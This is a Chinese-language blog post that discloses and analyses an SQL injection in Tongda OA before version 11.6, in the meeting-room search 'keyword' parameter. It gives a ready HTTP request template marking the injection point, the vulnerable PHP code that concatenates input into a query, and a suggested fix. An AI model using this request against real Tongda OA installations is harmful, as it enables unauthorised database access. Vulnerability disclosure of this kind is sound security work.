0e0w

通达OA11.5SQL注入分析

2020-06-02
0e0w

这是一篇关于通达OA存在SQL注入漏洞的分析文章。由于作者能力有限,文中难免会出现一些错误,请谅解。本文会不定期更新,最近一次更新时间为2020年6月2日。鉴于凡世之忙碌,下一次更新也许是明天,也许是下辈子。

关于通达OA的更多信息,请查看通达OA官网

01-漏洞概述

这个漏洞是4月份的时候提交给厂商的,之后通达OA更新到了11.5版本,但是发现11.5版本并未修复此漏洞。直到2020-05-08日更新到11.6版的时候才修复此漏洞。为什么11.5版本未修复?大概是是因为4月中旬的时候出现了通达OA任意账号登录漏洞,厂商便紧急发布了任意账号登录漏洞的补丁包。

通过此也说明了这个SQL注入漏洞技术含量影响性较低。但既然漏洞已修复,便把其中的一些细节公布出来吧。低版本通达OA不止一处SQL注入,这篇文章暂时只发布其中的一处注入点。

02-漏洞分析

  • 影响版本:< 通达OA11.6
  • 发现时间:2020-04-01

一、payload

先上payload。测试发现其他的参数keyword、min_people、max_people存在SQL注入漏洞。需要特别说明的是,本漏洞不需要管理员账号,普通用户可以登录系统即可。

POST /general/appbuilder/web/meeting/meetingapply/getmeetingapplyinfo HTTP/1.1
Host: 192.168.220.129
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Content-Length: 183
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Cookie: USER_NAME_COOKIE=lina; SID_1=3b9b2a17; SID_12=6114b1ec; SID_65=dba4163e; PHPSESSID=e62i1gqidh35cb4pfbn3eatn84; OA_USER_ID=65; creat_work=new
Origin: http://192.168.220.129
Referer: http://192.168.220.129/general/meeting/myapply/applyMeeting/select1.php
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

date=2020-04-01&end_time=&equipment_ids=&keyword=*&max_people=&min_people=&start_time=

二、代码审计

  • \general\appbuilder\modules\meeting\models\Meeting.php:1324行。此处的$data[“keyword”]未处理便赋值给$keyword。

    		$pageSize = modules\meeting\models\intval($data["pageSize"]);
    		$type = $data["type"];
    		$keyword = $data["keyword"];
      
    		if ($keyword != "") {
    			$key_where = array("like", "M_NAME", "$keyword");
    		}
    
  • \general\appbuilder\modules\meeting\models\Meeting.php:4313行。此处的keyword直接拼接到了SQL语句中,导致了漏洞的触发。

    		$where = " 1=1";
    		if (isset($mr_id) && !empty($mr_id)) {
    			$where .= " and MR_ID = '$mr_id'";
    		}
      
    		if (isset($keyword) && !empty($keyword)) {
    			$where .= " and MR_NAME like '%" . $keyword . "%'";
    		}
      
    		if (isset($min_people) && !empty($min_people)) {
    			$where .= " and MR_CAPACITY >= $min_people";
    		}
      
    		if (isset($max_people) && !empty($max_people)) {
    			$where .= " and MR_CAPACITY <= $max_people";
    		}
      
    		$sql1 = "SELECT * from Meeting_room where (TO_ID='ALL_DEPT' or find_in_set('$login_dept_id',TO_ID) or find_in_set('$login_user_id',SECRET_TO_ID) or find_in_set('$login_priv_id',PRIV_ID)) and USE_FLAG = '1' and" . $where;
    		$cur = self::getDb()->createCommand($sql1)->queryAll();
    

三、漏洞修复

修复方式也很简单。只需要进行如下的替换即可:

$keyword = $data["keyword"];

替换为:

$keyword = modules\meeting\models\intval($data["keyword"]);

测试发现,11.6版本也确实是这样修复的。

03-参考链接

  • https://www.0e0w.com

本文为0e0w原创文章,转载参考引用时请在文章中添加本站域名(0e0w.com)信息。


相关文章

文章评论